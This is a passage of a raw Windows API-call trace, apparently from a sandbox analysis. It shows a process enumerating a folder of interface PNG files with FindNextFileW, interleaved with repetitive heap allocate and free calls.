lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0080.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fec78 [0080.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b510 [0080.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.781] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7b1cb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0080.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fec98 [0080.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b618 [0080.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.785] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b84a231, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0080.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fecb8 [0080.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b720 [0080.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0080.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fecd8 [0080.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b828 [0080.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.788] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fecf8 [0080.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b930 [0080.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.790] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0080.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fed18 [0080.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122ba38 [0080.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.791] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9a0e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0080.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fed38 [0080.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122bb40 [0080.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.792] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0080.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fed58 [0080.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122bc48 [0080.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.794] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cd5742, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cd5742, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0080.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fed78 [0080.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122bd50 [0080.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x61c0) returned 0x124a7c8 [0080.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12312f0) returned 1 [0080.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.795] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0080.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fed98 [0080.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122be58 [0080.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.796] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0080.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fedb8 [0080.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122bf60 [0080.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.798] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d219fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d219fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0080.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fedd8 [0080.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c068 [0080.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.800] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc0245f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0080.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fedf8 [0080.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c170 [0080.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.801] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0080.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fee18 [0080.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c278 [0080.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.802] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0080.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fee38 [0080.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c380 [0080.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.803] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b5506d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0080.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fee58 [0080.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c488 [0080.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.805] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bcadb7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bcadb7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0080.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fee78 [0080.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c590 [0080.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.806] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0080.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fee98 [0080.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c698 [0080.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.807] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0080.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feeb8 [0080.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c7a0 [0080.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.808] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0080.808] 